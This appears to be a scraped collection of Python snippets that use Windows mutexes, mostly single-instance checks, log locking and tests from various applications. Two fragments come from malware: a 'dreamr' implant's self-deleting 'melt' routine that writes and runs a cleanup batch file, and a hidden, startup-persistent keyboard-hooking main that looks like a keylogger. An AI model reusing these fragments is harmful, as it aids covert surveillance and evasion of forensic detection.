def instance_running(): mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4") if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None return True else: return False
def AppendLogFile(logfile, appendfile, maxsize): try: # create logs folder before appending if logfile: logsdir = os.path.split(logfile)[0] if logsdir and not os.path.exists(logsdir): os.makedirs(logsdir) # we need to synchronise log file access here # to avoid race conditions if sys.platform.startswith("win"): name = 'ClamWinLogFileUpdate-' + os.path.split(logfile)[1] try: # try to acquire our logupdate mutex hMutex = win32event.OpenMutex(win32con.SYNCHRONIZE, False, name) # wait until it is released win32event.WaitForSingleObject(hMutex, win32event.INFINITE) win32api.CloseHandle(hMutex) except win32api.error: pass # create and own the mutex now to prevent others from modifying the log file # whilst we append to it hMutex = None try: hMutex = win32event.CreateMutex(None, True, name) except win32api.error, e: print('Could not create mutex %s. Error: %s' % (name, str(e))) ftemp = file(appendfile, 'rt') # check if the file is larger then maxsize and read last maxsize bytes # go to end of file ftemp.seek(0, 2) tempsize = ftemp.tell() if tempsize > maxsize: ftemp.seek(-maxsize, 2) tempsize = maxsize else: # read from the beginning ftemp.seek(0, 0) # open main file for appending f = file(logfile, 'a+t') # get the file size f.seek(0, 2) # empty the file if longer than log size limit # shall implement rotation here, when have time if f.tell() > maxsize - tempsize: f.truncate(0) # copy data in using 64Kb buffer bufsize = 65535 pos = 0 while pos < tempsize: # read text from our temporary log file text = ftemp.read(min(bufsize, tempsize - pos)).replace('\r\n', '\n') f.write(text) pos = pos + bufsize
def open_platform_mutex(mutex_name="SpamBayesServer"): if sys.platform.startswith("win"): try: import win32event, win32api, winerror, win32con import pywintypes, ntsecuritycon # ideally, the mutex name could include either the username, # or the munged path to the INI file - this would mean we # would allow multiple starts so long as they weren't for # the same user. However, as of now, the service version # is likely to start as a different user, so a single mutex # is best for now. # XXX - even if we do get clever with another mutex name, we # should consider still creating a non-exclusive # "SpamBayesServer" mutex, if for no better reason than so # an installer can check if we are running try: hmutex = win32event.CreateMutex(None, True, mutex_name) except win32event.error, details: # If another user has the mutex open, we get an "access denied" # error - this is still telling us what we need to know. if details[0] != winerror.ERROR_ACCESS_DENIED: raise raise AlreadyRunningException # mutex opened - now check if we actually created it. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: win32api.CloseHandle(hmutex) raise AlreadyRunningException return hmutex except ImportError: # no win32all - no worries, just start pass
def wantToBeTheMan(): """Try to grab an exclusive "running" lock. If successful, we are "the man". Returns either None (not the man) or a handle (the man). """ if sys.platform == "win32": running = win32event.CreateMutex(None, 0, gRunningName) rv = win32event.WaitForSingleObject(running, 0) if rv == win32event.WAIT_OBJECT_0: return running # we *are* the man else: win32api.CloseHandle(running) return None # we are *not* the man else: fd = os.open(gRunningName, os.O_WRONLY|os.O_CREAT) try: fcntl.lockf(fd, fcntl.LOCK_EX | fcntl.LOCK_NB) except IOError, ex: os.close(fd) # Darwin: # IOError: [Errno 35] Resource temporarily unavailable # Elsewhere: # IOError: [Errno 11] Resource temporarily unavailable errorid = (sys.platform == "darwin" and 35 or 11) if ex.errno == errorid: return None # we are *not* the man else: raise else:
def __init__(self, fpath, lockInitially=False, logger=None): ''' Creates (or opens) a global lock. @param fpath: Path of the file used as lock target. This is also the global id of the lock. The file will be created if non existent. @param lockInitially: if True locks initially. @param logger: an optional logger object. ''' self.logger = logger self.fpath = fpath if posixpath.exists(fpath): self.previous_lockfile_present = True else: self.previous_lockfile_present = False if _windows: self.name = string.replace(fpath, '\\', '_') self.mutex = win32event.CreateMutex(None, lockInitially, self.name) else: # Unix self.name = fpath self.flock = open(fpath, 'w') self.fdlock = self.flock.fileno() self.threadLock = threading.RLock() if lockInitially: self.acquire()
def issueCommandments(options): cmds = ["open\t%s\n" % f for f in options.files] if not cmds: return if sys.platform == "win32": # Grab the lock. lock = win32event.CreateMutex(None, 0, gCommandmentsLockName) win32event.WaitForSingleObject(lock, win32event.INFINITE) # Append the new commandments. f = open(gCommandmentsFileName, 'a') for cmd in cmds: log.info("issue %r", cmd) f.write(cmd) f.close() # Signal Komodo that there are new commandments. newCommandments = win32event.CreateEvent(None, 1, 0, gCommandmentsEventName) win32event.SetEvent(newCommandments) win32api.CloseHandle(newCommandments) # Release the lock. win32event.ReleaseMutex(lock) win32api.CloseHandle(lock) else: fd = os.open(gCommandmentsFileName, os.O_WRONLY | os.O_APPEND) for cmd in cmds: log.info("issue %r", cmd) os.write(fd, cmd) os.close(fd)
def melt(filename): # Try and make the dreamr danger mutex to warn other implants try: mutex = win32event.CreateMutex(None, True, "dreamr-melting") except: pass countdown = 3 while countdown > 0: countdown -= 1 print("the implant will melt in %s seconds" % countdown) time.sleep(1) batchName = "mlt.bat" batch = open(batchName, "w") batch.write("@echo off\n") batch.write("ping 127.0.0.1 -n 2\n") batch.write("del dreamr.exe\n") batch.write("rd /S /Q www\n") batch.write("rd /S /Q cert\n") batch.write("del mt.exe\n") batch.write("del drm.txt\n") batch.write("del \"%s\"\n" % filename) batch.write("del \"%s\"\n" % sys.argv[0]) batch.write("start \"\" \"svchost.exe\"\n") batch.write("del \"%s\"\n" % batchName) batch.close() subprocess.Popen([batchName]) return
def runonce(mutex_name, register_msg="", exit=False): ''' 使用互斥量保证只运行一次,名称前加“Global\”为全局互斥量可用于多用户环境。 ''' result = False global g_hMutex if register_msg: # 如果直接import qt_utils2 会引入对PyQt的依赖, # 造成其他import runonce的程序在py2exe打包的时候体积增大 qt_utils2 = __import__('dglib.qt.qt_utils2') qt_utils2.UM_SHOW = win32api.RegisterWindowMessage(register_msg) runonce.UM_SHOW = qt_utils2.UM_SHOW g_hMutex = win32event.CreateMutex(None, 0, mutex_name) if g_hMutex: err = win32api.GetLastError() if err == winerror.ERROR_ALREADY_EXISTS: if register_msg: win32api.PostMessage(win32con.HWND_BROADCAST, qt_utils2.UM_SHOW, 0, 0) if exit: sys.exit() else: result = True else: win32api.MessageBox(0, '创建Mutex失败!', '提示', win32con.MB_ICONERROR) return result
def main(): UNIQUE_MUTEX_NAME = 'Global\\UmnIsAlreadyRunning' handle = win32event.CreateMutex(None, pywintypes.FALSE, UNIQUE_MUTEX_NAME) if not handle or win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: print('既に別のプロセスが実行中です。') win32api.MessageBox(0, u"既に常駐しています", u"uumail notification - エラー", win32con.MB_OK | win32con.MB_ICONERROR) sys.exit(-1) app = QtWidgets.QApplication([]) systray = umn_systray.umn_systray() try: passcrypt.read_data() except: QtWidgets.QMessageBox.warning(None, \ "uumail notification - エラー", \ "アカウント情報を読み込めません。\nアカウント情報を設定してください", \ QtWidgets.QMessageBox.Ok) systray.show_setting() reg_notify = notification_daemon.Regularly_notify(systray) reg_notify.start() app.exec()
def issueKomodoCommandments(cmds): if not cmds: return if sys.platform.startswith("win"): # Grab the lock. lock = win32event.CreateMutex(None, 0, _gCommandmentsLockName) win32event.WaitForSingleObject(lock, win32event.INFINITE) # Append the new commandments. f = open(_gCommandmentsFileName, 'a') for cmd in cmds: f.write(cmd) f.close() # Signal Komodo that there are new commandments. newCommandments = win32event.CreateEvent(None, 1, 0, _gCommandmentsEventName) win32event.SetEvent(newCommandments) win32api.CloseHandle(newCommandments) # Release the lock. win32event.ReleaseMutex(lock) win32api.CloseHandle(lock) else: fd = os.open(_gCommandmentsFileName, os.O_WRONLY) for cmd in cmds: os.write(fd, cmd) os.close(fd)
def acquireMutex(): if sys.platform == "win32": mutex = win32event.CreateMutex(None, 0, gMutexName) win32event.WaitForSingleObject(mutex, win32event.INFINITE) else: mutex = os.open(gMutexName, os.O_RDWR | os.O_CREAT) fcntl.lockf(handle, fcntl.LOCK_EX) # blocks until free return mutex
def disallow_Multiple_Instances(): mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None exit(0) x = '' data = '' count = 0
def testReleaseMutex(self): mutex = win32event.CreateMutex(None, True, None) res = win32event.ReleaseMutex(mutex) self.assertEqual(res, None) res = win32event.WaitForSingleObject(mutex, 0) self.assertEqual(res, win32event.WAIT_OBJECT_0) mutex.close() self.assertRaises(pywintypes.error, win32event.ReleaseMutex, mutex)
def app_lock(app, appname): hmutex = win32event.CreateMutex(None, pywintypes.FALSE, appname) if (win32api.GetLastError() == ERROR_ALREADY_EXISTS): print('正在运行,按任意键结束运行') input() sys.exit(0) else: app()
def __init__(self): global mutex_handle ERROR_ALREADY_EXISTS = 183 mutex_handle = win32event.CreateMutex(None, 1, "MDVIEW") if mutex_handle and win32api.GetLastError() is ERROR_ALREADY_EXISTS: raise MutexException() else: print "mutex created", mutex_handle
def acquireKomodoStatusLock(): # No such lock used on Linux. lock = None if sys.platform.startswith("win"): lock = win32event.CreateMutex(None, 0, _gStatusLockName) #XXX Perhaps should have a reasonable timeout? win32event.WaitForSingleObject(lock, win32event.INFINITE) return lock
def instance_unicity(): mutex = win32event.CreateMutex(None, 1, "mutex_var_xboz") if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutext = None print("ERROR: Multiple instance not allowed!") quit( "* test_instance(): Another instance has been detected. Quit requested." )
def main(): if WIN: mut = win32event.CreateMutex(None, False, 'Local\\CondaLock') win32event.WaitForSingleObject(mut, win32event.INFINITE) sys.exit(subprocess.call([os.environ['CONDA_EXE']] + sys.argv[1:])) else: lock_path = os.path.normpath(os.path.expanduser('~/.conda_lock')) with Singlet(lock_path): sys.exit(subprocess.call(['conda'] + sys.argv[1:]))
def testReleaseMutex(self): mutex = win32event.CreateMutex(None, True, None) res = win32event.ReleaseMutex(mutex) assert res == None res = win32event.WaitForSingleObject(mutex, 0) assert res == win32event.WAIT_OBJECT_0 mutex.close() with pytest.raises(pywintypes.error): win32event.ReleaseMutex(mutex)
def checkExist(): ERROR_ALREADY_EXISTS = 183 sz_mutex = "zynq_mutex_00" hmutex = win32event.CreateMutex(None, pywintypes.FALSE, sz_mutex) if (win32api.GetLastError() == ERROR_ALREADY_EXISTS): print "checkExist ...." sys.exit(0) else: print "checkExist no...."
def main(): if platform.system() == 'Windows': import win32event mut = win32event.CreateMutex(None, False, 'Local\\CondaLock') win32event.WaitForSingleObject(mut, win32event.INFINITE) subprocess.check_call(['conda'] + sys.argv[1:]) else: lock_path = os.path.normpath(os.path.expanduser('~/.conda_lock')) with Singlet(lock_path): subprocess.check_call(['conda'] + sys.argv[1:])
def __acquire(self): ''' Attempts to acquire the mutex @raise MutexAlreadyAcquired ''' mutex = win32event.CreateMutex(None, 1, self.MUTEX_NAME) if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: raise MutexAlreadyAcquired() return mutex
def __init__(self, args): component.Component.__init__(self, "IPCInterface") ipc_dir = deluge.configmanager.get_config_dir("ipc") if not os.path.exists(ipc_dir): os.makedirs(ipc_dir) socket = os.path.join(ipc_dir, "deluge-gtk") if deluge.common.windows_check(): # If we're on windows we need to check the global mutex to see if deluge is # already running. import win32event import win32api import winerror self.mutex = win32event.CreateMutex(None, False, "deluge") if win32api.GetLastError() != winerror.ERROR_ALREADY_EXISTS: # Create listen socket self.factory = Factory() self.factory.protocol = IPCProtocolServer import random port = random.randrange(20000, 65535) reactor.listenTCP(port, self.factory) # Store the port number in the socket file open(socket, "w").write(str(port)) # We need to process any args when starting this process process_args(args) else: # Send to existing deluge process port = int(open(socket, "r").readline()) self.factory = ClientFactory() self.factory.args = args self.factory.protocol = IPCProtocolClient reactor.connectTCP("127.0.0.1", port, self.factory) reactor.run() sys.exit(0) else: # Find and remove any restart tempfiles old_tempfile = glob(os.path.join(ipc_dir, 'tmp*deluge')) for f in old_tempfile: os.remove(f) lockfile = socket + ".lock" log.debug("Checking if lockfile exists: %s", lockfile) if os.path.lexists(lockfile) or os.path.lexists(socket): try: os.kill(int(os.readlink(lockfile)), 0) except OSError: log.debug("Removing lockfile since it's stale.") try: os.remove(lockfile) except OSError, ex: log.error("Failed to delete IPC lockfile file: %s", ex) try: os.remove(socket) except OSError, ex: log.error("Failed to delete IPC socket file: %s", ex)
def main(): # Disallowing multiple instances mutex = win32event.CreateMutex(None, 1, 'mutex_var_qpgy_main') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None print("Multiple instances are not allowed") exit(0) hide() add_to_startup() keyboard.hook(key_callback) keyboard.wait() return
def initialize(self): _import() self.log.debug(str(sys.argv)) # 多重起動処理8 try: self.mutex = win32event.CreateMutex(None, 1, constants.PIPE_NAME) except: pass if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: try: lampPipe.sendPipe() except: pass self.mutex = 0 sys.exit() else: lampPipe.startPipeServer() # プロキシの設定を適用 self.proxyEnviron = proxyUtil.virtualProxyEnviron() if self.config.getboolean("network", "manual_proxy", False): sv = self.config.getstring("network", "proxy_server", "") pr = self.config.getint("network", "proxy_port", 8080, 0, 65535) self.proxyEnviron.set_environ(sv, pr) else: self.proxyEnviron.set_environ() self.SetGlobalVars() # メインビューを表示 self.hMainView = main.MainView() if self.config.getboolean(self.hMainView.identifier, "maximized", False): self.hMainView.hFrame.Maximize() self.hMainView.Show() # update関係を準備 if self.config.getboolean("general", "update"): globalVars.update.update(True) m3uloaded = False #条件に基づいてファイルの読み込み if len(sys.argv) == 2 and os.path.isfile(sys.argv[1]): if os.path.splitext( sys.argv[1])[1].lower() in globalVars.fileExpansions: globalVars.eventProcess.forcePlay(sys.argv[1]) elif os.path.splitext( sys.argv[1])[1] == ".m3u" or os.path.splitext( sys.argv[1])[1] == ".m3u8": m3uManager.loadM3u(sys.argv[1]) m3uloaded = True startupList = globalVars.app.config.getstring("player", "startupPlaylist", "") if startupList != "" and m3uloaded == False: m3uManager.loadM3u(startupList, 1) return True
def __init__(self): if platform.system() == 'Windows': mutex_name = '_deploy_mutext_2018_' self.mutex = win32event.CreateMutex(None, False, mutex_name) self.last_error = win32api.GetLastError() else: file_path = "./_deploy_.tmp" self.file = open(file_path, 'w') try: fcntl.flock(self.file, fcntl.LOCK_EX | fcntl.LOCK_NB) self.last_error = None except IOError: self.last_error = IOError()
def create_single_instance_mutex(name, per_user=True): mutexname = '{}-singleinstance-{}-{}'.format( __appname__, (get_windows_username() if per_user else ''), name) mutex = win32event.CreateMutex(None, False, mutexname) if not mutex: return err = win32api.GetLastError() if err == winerror.ERROR_ALREADY_EXISTS: # Close this handle other wise this handle will prevent the mutex # from being deleted when the process that created it exits. win32api.CloseHandle(mutex) return return partial(win32api.CloseHandle, mutex)
def __init__(self, parent): # Prevent multiple copies of FusionFiles to run mutex = win32event.CreateMutex(None, 1, "gTAvwfs52rg") # mutex_rr_windows if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: self.error_out() Gui.MainFrame.__init__(self, parent) # Set the bmp Icon for the file (the one that shows up in the far left of the top bar). Not working when created as EXE. #self.SetIcon(wx.Icon("resources\\logo.bmp", wx.BITMAP_TYPE_ANY)) # Setup Console Box self.console = Console(self.ConsoleBoxTextCtrl) # Provide first Ready message to user self.console.log(msg="Ready...") # Change Status Bar to Ready also self.StatusBar.SetStatusText("Ready...")
def main(): if platform.system() == 'Linux': app = App() else: app = App(redirect=False) if platform.system() == 'Windows': try: import win32event mutex = win32event.CreateMutex(None, 1, libutils.softwareID("name")) except: pass #Launch GUI app.MainLoop()
def run(self): if IS_WINDOWS: logging.info("Checking if another instance is running...") mutex = win32event.CreateMutex(None, False, 'ccc') last_error = win32api.GetLastError() if last_error == ERROR_ALREADY_EXISTS: logging.info('Another instance already running. Exiting.') beep_loud() os._exit(1) while True: time.sleep(10000)